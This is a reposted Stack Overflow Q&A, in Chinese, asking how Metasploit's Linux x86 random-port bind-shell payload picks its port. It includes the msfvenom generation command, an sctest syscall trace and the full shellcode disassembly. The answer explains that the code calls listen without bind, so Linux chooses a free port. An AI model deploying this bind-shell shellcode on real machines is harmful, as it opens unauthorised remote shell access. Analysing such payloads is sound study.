gpt4 book ai didi

linux - __NR_socketcall 默认使用随机端口吗?

转载 作者:太空宇宙 更新时间:2023-11-04 10:47:25 25 4
gpt4 key购买 nike

我没有看到它在有效负载 shell_bind_tcp_random_port 的代码中设置端口的位置

$ sudo msfvenom --platform linux -p linux/x86/shell_bind_tcp_random_port -f raw | sctest -vvv -Ss 10000 -G shell-bind-tcp-random.dot 
graph file shell-bind-tcp-random.dot
verbose = 3
No Arch selected, selecting Arch: x86 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 57 bytes

int socket (
int domain = 2;
int type = 1;
int protocol = 0;
) = 14;
int listen (
int s = 14;
int backlog = 0;
) = 0;
int accept (
int sockfd = 14;
sockaddr_in * addr = 0x00000000 =>
none;
int addrlen = 0x00000002 =>
none;
) = 19;
int dup2 (
int oldfd = 19;
int newfd = 14;
) = 14;
... output truncated ...
int dup2 (
int oldfd = 19;
int newfd = 0;
) = 0;
int execve (
const char * dateiname = 0x00416fb6 =>
= "/bin//sh";
const char * argv[] = [
= 0xffffffff =>
none;
];
const char * envp[] = 0x00000000 =>
none;
) = 0;

汇编代码为:

00000000  31DB              xor ebx,ebx
00000002 F7E3 mul ebx
00000004 B066 mov al,0x66
00000006 43 inc ebx
00000007 52 push edx
00000008 53 push ebx
00000009 6A02 push byte +0x2
0000000B 89E1 mov ecx,esp
0000000D CD80 int 0x80
0000000F 52 push edx
00000010 50 push eax
00000011 89E1 mov ecx,esp
00000013 B066 mov al,0x66
00000015 B304 mov bl,0x4
00000017 CD80 int 0x80
00000019 B066 mov al,0x66
0000001B 43 inc ebx
0000001C CD80 int 0x80
0000001E 59 pop ecx
0000001F 93 xchg eax,ebx
00000020 6A3F push byte +0x3f
00000022 58 pop eax
00000023 CD80 int 0x80
00000025 49 dec ecx
00000026 79F8 jns 0x20
00000028 B00B mov al,0xb
0000002A 682F2F7368 push dword 0x68732f2f
0000002F 682F62696E push dword 0x6e69622f
00000034 89E3 mov ebx,esp
00000036 41 inc ecx
00000037 CD80 int 0x80

__NR_socketcall 默认使用随机端口吗?

我没有看到它在有效负载 shell_bind_tcp_random_port 的代码中设置端口的位置

最佳答案

我相信代码的前半部分包含您的答案。

00000000  31DB              xor ebx,ebx
00000002 F7E3 mul ebx
00000004 B066 mov al,0x66
00000006 43 inc ebx
00000007 52 push edx
00000008 53 push ebx
00000009 6A02 push byte +0x2
0000000B 89E1 mov ecx,esp

以上部分使用 0x66(102 ) 即 sys_socketcall . EBX 设置为 1,所以我们正在执行 equivalentsys_socket .在这种情况下,our_socket = socket ( AF_INET , SOCK_STREAM , IPPROTO_IP ) 将使用这些参数创建一个 TCP 套接字。

下一步是:

0000000F  52                push edx
00000010 50 push eax
00000011 89E1 mov ecx,esp
00000013 B066 mov al,0x66
00000015 B304 mov bl,0x4
00000017 CD80 int 0x80

我们再次执行 sys_socketcall,但 BL 设置为 4。这是 equivalentsys_listen .在这种情况下,它将是 sys_listen (our_socket, 0) 开始监听我们的套接字。

需要注意的是这段代码没有使用传统的socket/bind/listen方法。它完全跳过了 bind 调用。在 Linux 上,如果您不在套接字上执行 bind 操作,listen 将隐式假定要绑定(bind)端口 0。绑定(bind) port 0 指示 Linux 搜索可用的非特权端口进行绑定(bind)。我不会认为返回的是随机端口,但它只是系统根据内部算法找到的第一个无特权且可用/未使用的端口。

关于linux - __NR_socketcall 默认使用随机端口吗?,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/32488813/

25 4 0
Copyright 2021 - 2024 cfsdn All Rights Reserved 蜀ICP备2022000587号
广告合作:1813099741@qq.com 6ren.com